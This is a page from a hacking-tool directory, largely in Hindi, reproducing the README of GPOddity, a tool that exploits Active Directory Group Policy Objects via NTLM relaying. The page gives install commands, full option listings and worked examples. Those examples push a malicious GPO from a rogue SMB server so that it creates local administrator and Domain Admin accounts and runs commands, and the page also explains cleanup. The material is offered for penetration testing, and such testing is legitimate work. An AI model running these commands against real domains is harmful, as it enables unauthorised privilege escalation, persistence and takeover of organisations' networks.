Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GPOddity — Automates Active Directory GPO शोषण को NTLM रिलेइंग के माध्यम से स्वचालित करता है, जिससे दुर्भावनापूर्ण GPO टेम्पलेट निर्माण, स्थान स्पूफिंग, और विशेषाधिकार वृद्धि और पार्श्व गतिविधि के लिए कमांड निष्पादन सक्षम होता है। | Kitploit
उपकरण/GitHubGitHub/synacktiv/gpoddity
शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंग
GitHubsynacktiv/gpoddity

GPOddity

Automates Active Directory GPO शोषण को NTLM रिलेइंग के माध्यम से स्वचालित करता है, जिससे दुर्भावनापूर्ण GPO टेम्पलेट निर्माण, स्थान स्पूफिंग, और विशेषाधिकार वृद्धि और पार्श्व गतिविधि के लिए कमांड निष्पादन सक्षम होता है।

रिपॉजिटरी देखें
373308 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GPOddity

GPOddity परियोजना, NTLM रिलेइंग (और अधिक) के माध्यम से GPO हमले के वैक्टर को स्वचालित करने के उद्देश्य से है।

हमले और उपकरण के उपयोग के प्रदर्शन के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक पर उपलब्ध संबंधित लेख देखें: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more

स्थापना

Pipx

आप निम्नलिखित कमांड के माध्यम से pipx के साथ GPOddity स्थापित कर सकते हैं:

root@kitploit:~
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity

मैन्युअल

वैकल्पिक रूप से, आप रिपॉजिटरी को क्लोन करके और निर्भरताएँ स्थापित करके मैन्युअल रूप से GPOddity स्थापित कर सकते हैं:

root@kitploit:~
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt

उपयोग

root@kitploit:~
$ python3 gpoddity.py --help
                                                                                                                                                                                                
 Usage: gpoddity.py [OPTIONS]                                                                                                                                                                   
                                                                                                                                                                                                
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help          Show this message and exit.                                                                                                                                                  │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --domain            TEXT  The target domain [default: None] [required]                                                                                                                    │
│ *  --gpo-id            TEXT  The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required]                                │
│ *  --username          TEXT  The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required]       │
│    --password          TEXT  The password of the user having write permissions on the GPO AD object [default: None]                                                                          │
│    --hash              TEXT  The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None]                                                │
│    --dc-ip             TEXT  [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None]                                                              │
│    --ldaps                   [Optional] Use LDAPS on port 636 instead of LDAP                                                                                                                │
│    --verbose                 [Optional] Enable verbose output                                                                                                                                │
│    --just-clean              [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete         │
│                              exploitation or ungraceful exit                                                                                                                                 │
│    --clean-file        TEXT  [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or   │
│                              absolute path                                                                                                                                                   │
│                              [default: None]                                                                                                                                                 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command           TEXT             The command that should be executed through the malicious GPO [default: None]                                                                           │
│ --powershell                         [Optional] Use powershell instead of cmd for command execution                                                                                          │
│ --gpo-type          [user|computer]  [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer]                                                │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip           TEXT  The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of   │
│                                      the current host on the internal network (for instance, 192.168.58.101)                                                                                 │
│                                      [default: None]                                                                                                                                         │
│ --rogue-smbserver-share        TEXT  The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│                                      names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default)                                                                     │
│                                      [default: None]                                                                                                                                         │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name        TEXT                       [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If      │
│                                                  omitted, will use the user specified with the --username option, and assume that it is a valid machine account                              │
│                                                  [default: None]                                                                                                                             │
│ --machine-pass        TEXT                       [Optional] The password of the machine account if specified with --machine-name [default: None]                                             │
│ --machine-hash        TEXT                       [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None]                   │
│ --comment             TEXT                       [Optional] Share's comment to display when asked for shares [default: None]                                                                 │
│ --interface           TEXT                       [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0]                                                  │
│ --port                TEXT                       [Optional] The port on which the GPOddity smb server should listen [default: 445]                                                           │
│ --smb-mode            [embedded|forwarded|none]  [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller  │
│                                                  (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake     │
│                                                  DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain)                           │
│                                                  [default: embedded]                                                                                                                         │
│ --empty-gpo                                      [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will  │
│                                                  be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with   │
│                                                  existing GPOs)                                                                                                                              │
│ --attacker-ip         TEXT                       [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded')                                       │
│ --forwarded-ip        TEXT                       [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded')                                 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

उदाहरण

नीचे ऊपर दिए गए लेख से लिए गए कुछ उदाहरण कमांड हैं।

कंप्यूटर GPO का उपयोग करके एक स्थानीय व्यवस्थापक जोड़ना। SMB मोड 'embedded' है: GPOddity अपने एम्बेडेड SMB सर्वर पर GPT होस्ट करेगा।

root@kitploit:~
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'

उपयोगकर्ता GPO का उपयोग करके एक स्थानीय व्यवस्थापक जोड़ना। SMB मोड 'none' है: GPOddity दुर्भावनापूर्ण GPT बनाएगा, और फिर आपको इसे एक लिखने योग्य डोमेन शेयर पर अपलोड करना होगा।

root@kitploit:~
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
 --rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'

उपयोगकर्ता GPO का उपयोग करके एक स्थानीय व्यवस्थापक जोड़ना। SMB मोड 'forwarded' है: आपको GPOddity की मशीन को इंगित करने वाला एक DNS रिकॉर्ड जोड़ना होगा, जो एक मशीन खाते से संबद्ध हो। आपको एक नकली DC का IP पता प्रदान करना होगा जिसका पासवर्ड मशीन खाते से सिंक्रोनाइज़ हो, और दुर्भावनापूर्ण GPT को उस नकली DC पर अपलोड करना होगा। इस मोड के बारे में अधिक जानकारी के लिए, मेरा Black Alps 2024 टॉक देखें (जल्द ही उपलब्ध)।

root@kitploit:~
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'

सफाई के बारे में

GPOddity का उपयोग करने का एक लाभ यह है कि GPO का सुरक्षित रूप से शोषण किया जा सकता है, बिना वैध GPT फ़ाइलों को बदले, जिससे उत्पादन वातावरण में व्यवधान का जोखिम कम होता है। हालाँकि, GPOddity को अभी भी GPT स्थान को अस्थायी रूप से स्पूफ करने के लिए ग्रुप पॉलिसी कंटेनर फ़ाइलों के कुछ गुणों को संशोधित करना होगा। परिणामस्वरूप, उत्पादन वातावरण को कार्यात्मक बनाए रखने के लिए शोषण के बाद उन परिवर्तनों को पूर्ववत करना आवश्यक है।

डिफ़ॉल्ट रूप से और जैसा कि लेख में बताया गया है, GPOddity आपके लिए ऐसा करेगा, शोषण के अंत में GPC पर किए गए किसी भी संशोधन को पूर्ववत करके, जब उपयोगकर्ता CTRL+C के साथ प्रोग्राम को बाधित करता है। परिणामस्वरूप, सामान्य परिस्थितियों में, आपको यह सुनिश्चित करने के लिए कुछ भी करने की आवश्यकता नहीं है कि सब कुछ साफ हो गया है।

हालाँकि, यदि किसी कारण से आप CTRL+C के माध्यम से GPOddity को शालीनता से बाहर नहीं कर पाते (प्रक्रिया मार दी गई, नेटवर्क कनेक्शन खो गया, आदि), तो आप स्वतंत्र रूप से सफाई कार्य करने के लिए '--just-clean' फ़्लैग के साथ GPOddity लॉन्च कर सकते हैं।

यह सुविधा निम्नलिखित तरीके से काम करती है। जब भी GPOddity चलाया जाता है, GPO की प्रारंभिक स्थिति को cleaning/[GPO ID]/[timestamp].txt पथ के तहत एक फ़ाइल में सहेजा जाएगा। फिर आप '--just-clean' फ़्लैग के माध्यम से इस सहेजी गई फ़ाइल में निहित सभी मानों को पुनर्स्थापित कर सकते हैं। उदाहरण के लिए, मान लें कि आप ID '46993522-7D77-4B59-9B77-F82082DE9D81' वाले GPO के सभी गुणों को 14 अक्टूबर 2023 को 08:08:44 पर GPOddity चलाने से पहले के मानों पर पुनर्स्थापित करना चाहते हैं। आप निम्नलिखित कमांड चला सकते हैं:

root@kitploit:~
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt

वीडियो प्रदर्शन

GPOddity

टूल डाउनलोड करें